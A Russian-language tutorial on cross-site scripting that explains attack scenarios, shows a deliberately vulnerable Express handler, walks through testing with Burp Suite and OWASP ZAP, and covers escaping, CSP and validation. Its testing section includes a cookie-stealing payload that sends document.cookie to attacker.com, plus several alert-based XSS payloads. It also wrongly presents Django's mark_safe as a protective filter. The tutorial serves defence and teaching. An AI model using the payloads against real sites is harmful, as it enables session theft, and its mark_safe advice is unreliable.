XSS: как не дать хакерам выполнить код в браузере пользователя
Когда мы говорим об XSS, большинство сразу вспоминает учебные примеры с <script>alert('xss')</script> в полях ввода. Но на практике всё сложнее: это не просто уязвимость, а целая экосистема, где сочетаются слабые места в коде, неверные настройки сервера, ошибки в логике обработки данных и даже человеческий фактор. Давайте разберёмся, как это работает в реальных проектах, какие инструменты использовать для защиты и где чаще всего ошибаются команды.
Проблема: почему XSS — это не просто "вредоносный скрипт"
XSS (Cross-Site Scripting) — это уязвимость, при которой атакующий может вставить и выполнить произвольный JavaScript-код в браузере жертвы. Но на практике это не ограничивается простым alert(). Вот реальные сценарии, с которыми сталкиваются команды:
- Кража сессий: Хакер вставляет скрипт, который отправляет
document.cookieна свой сервер. Если у пользователя активна сессия, атакующий получает доступ к его учётной записи. - Phishing 2.0: Вместо фишинговых писем атакующий меняет интерфейс сайта (например, форму входа) так, что пользователь вводит данные на поддельной странице, но думает, что это оригинал.
- Keylogging: Скрипт записывает все нажатия клавиш пользователя и отправляет их злоумышленнику.
- ДDoS через браузер: Если сайт не ограничивает выполнение JavaScript, атакующий может заставить браузеры жертв отправлять тысячи запросов на сервер, создавая нагрузку.
- Утечка данных: Скрипт может собирать личные данные (например, из формы профиля) и отправлять их наружу.
Важно понимать, что XSS работает только в контексте браузера пользователя. Сервер не выполняет этот код, поэтому защита на стороне сервера (например, валидация данных) — это только часть решения.
Практика: как XSS проникает в код
Чтобы понять, как защищаться, нужно знать, где обычно появляются уязвимости. Вот типичные пути:
1. Неэкранированный вывод пользовательского ввода
Самый распространённый случай — когда данные из формы, комментариев или URL не проходят через фильтрацию и попадают в HTML-разметку.
Пример уязвимого кода (Node.js + Express):
app.get('/profile', (req, res) => {
const userInput = req.query.name; // Пользователь ввёл: <script>stealCookies()</script>
res.send(`
<html>
<body>
<h1>Привет, ${userInput}!</h1> <!-- Вредоносный код попадает в HTML -->
</body>
</html>
`);
});
Здесь userInput напрямую вставляется в HTML, и если пользователь передаст <script>...</script>, код выполнится.
2. Неправильная обработка JSON
Многие API возвращают JSON с пользовательскими данными, которые потом рендерятся на клиенте. Если данные не экранируются, атакующий может внедрить скрипт.
Пример уязвимого JSON-ответа:
{
"user": {
"name": "<img src=x onerror=alert('xss')>",
"bio": "Люблю хакинг"
}
}
Если этот JSON парсится и сразу рендерится в DOM без обработки, скрипт сработает.
3. Внешние скрипты и библиотеки
Если сайт подгружает скрипты из неконтролируемых источников (например, через src="user_provided_url.js"), атакующий может заменить их на вредоносные.
Примеры и инструменты для тестирования
Чтобы проверить систему на наличие XSS, нужны реальные инструменты и сценарии. Вот несколько практических примеров:
1. Тестирование с помощью Burp Suite
Burp Suite — это инструмент для веб-тестирования, который позволяет перехватывать и модифицировать запросы.
Шаги для поиска XSS:
- Включите перехват в Burp (Proxy → Intercept is on).
- Отправьте запрос с пользовательским вводом, например:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Если ответ сервера отобразится как есть, у вас XSS.
Пример запроса с payload:
GET /profile?name=<script>alert(1)</script> HTTP/1.1
Host: vulnerable-site.com
2. Автоматизированное сканирование с OWASP ZAP
OWASP ZAP может автоматически искать XSS в приложении.
Команда для запуска сканирования:
zap-baseline.py -t http://target-site.com -r report.html
В отчёте будут указаны потенциально уязвимые параметры.
3. Ручное тестирование с помощью XSS-payloads
Вот несколько полезных payloads для ручного тестирования:
- Скрытый скрипт:
<svg onload=alert(1)> - Использование событий:
<img src=x onerror=alert(1)> - DOM-based XSS (если данные обрабатываются в JS):
window.location = "javascript:alert(1)";
Типичные ошибки и как их избежать
Многие команды допускают одни и те же ошибки при защите от XSS. Вот самые распространённые:
Отсутствие экранирования при выводе данных
- Ошибка: Просто вставлять пользовательский ввод в HTML без обработки.
- Исправление: Использовать библиотеки для экранирования, например,
DOMPurify(для клиента) илиxss(для Node.js).
Пример с библиотекой
xss(Node.js):const xss = require('xss'); const cleanInput = xss(userInput); // Экранирует теги и атрибуты res.send(`<h1>${cleanInput}</h1>`);Игнорирование атрибутов HTML
- Ошибка: Экранировать только теги
<script>, но забывать про атрибуты типаonerror,onclick. - Исправление: Использовать строгие библиотеки экранирования, которые обрабатывают все потенциально опасные атрибуты.
- Ошибка: Экранировать только теги
Неправильная обработка URL
- Ошибка: Разрешать произвольные схемы в
hrefилиsrc, например,javascript:alert(1). - Исправление: Валидировать и экранировать все URL, особенно если они используются в атрибутах.
- Ошибка: Разрешать произвольные схемы в
Забывчивость с DOM-based XSS
- Ошибка: Думать, что XSS только на сервере, и не проверять клиентскую логику.
- Исправление: Анализировать JavaScript-код на наличие конструкций типа:
document.write(userInput); // Опасно!
Отсутствие CSP (Content Security Policy)
- Ошибка: Не настраивать CSP, который ограничивает источники скриптов.
- Исправление: Добавить заголовок
Content-Security-Policyв ответ сервера:Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
Защита: что делать на практике
Теперь о конкретных шагах, которые помогут закрыть XSS-уязвимости в реальном проекте.
1. Экранирование на сервере
Используйте библиотеки для экранирования данных перед выводом в HTML. Например:
Для Node.js:
xssconst xss = require('xss'); const safeInput = xss(userInput);Для Python (Django): Используйте шаблонные фильтры или
mark_safe.from django.utils.html import escape safe_input = escape(user_input)
2. Использование CSP (Content Security Policy)
CSP помогает ограничить источники, откуда могут загружаться скрипты. Минимальная настройка:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';
Но лучше избегать 'unsafe-inline' и 'unsafe-eval', если это возможно.
3. Валидация и санкционирование ввода
Не доверяйте никаким данным, даже если они кажутся безопасными. Используйте белые списки для разрешенных значений.
Пример валидации в Node.js:
function isSafeUsername(username) {
const safePattern = /^[a-zA-Z0-9_]{3,20}$/;
return safePattern.test(username);
}
4. Обновление библиотек
Многие уязвимости появляются из-за уязвимых версий библиотек. Регулярно обновляйте зависимости:
npm audit fix
# или для Python
pip list --outdated
5. Тестирование и ревью кода
- Ручной ревью: Проверяйте все места, где данные выводятся в HTML или обрабатываются в JavaScript.
- Автоматизация: Используйте линтеры с плагинами для поиска XSS, например,
eslint-plugin-securityдля JavaScript.
Вывод: как не допустить XSS в продакшене
XSS — это не просто теоретическая угроза, а реальная проблема, с которой сталкиваются даже опытные команды. Вот ключевые выводы, которые помогут избежать ошибок:
Всегда экранируйте данные перед выводом в HTML, даже если они кажутся безопасными. Используйте проверенные библиотеки (
xss,DOMPurifyи др.).Настраивайте CSP с самого начала. Это не панацея, но значительно усложнит жизнь хакерам.
Не игнорируйте DOM-based XSS. Проверяйте клиентскую логику так же тщательно, как и серверную.
Автоматизируйте проверки. Используйте инструменты типа OWASP ZAP, Burp Suite или линтеры для поиска уязвимостей на ранних стадиях.
Обновляйте зависимости. Многие XSS-уязвимости появляются из-за уязвимых библиотек.
Проводите регулярные аудиты. Даже если вы уверены в безопасности кода, со временем могут появляться новые уязвимости.
Практический шаг для команды: Создайте чеклист для ревью кода, который включает:
- Проверку экранирования данных.
- Наличие CSP.
- Отсутствие
innerHTML,document.writeи других опасных методов. - Валидацию пользовательского ввода.
Если вы следуете этим правилам, риск XSS-уязвимостей в вашем проекте значительно снизится. Но помните: безопасность — это процесс, а не разовая задача. Регулярно тестируйте, обновляйте и пересматривайте свои подходы.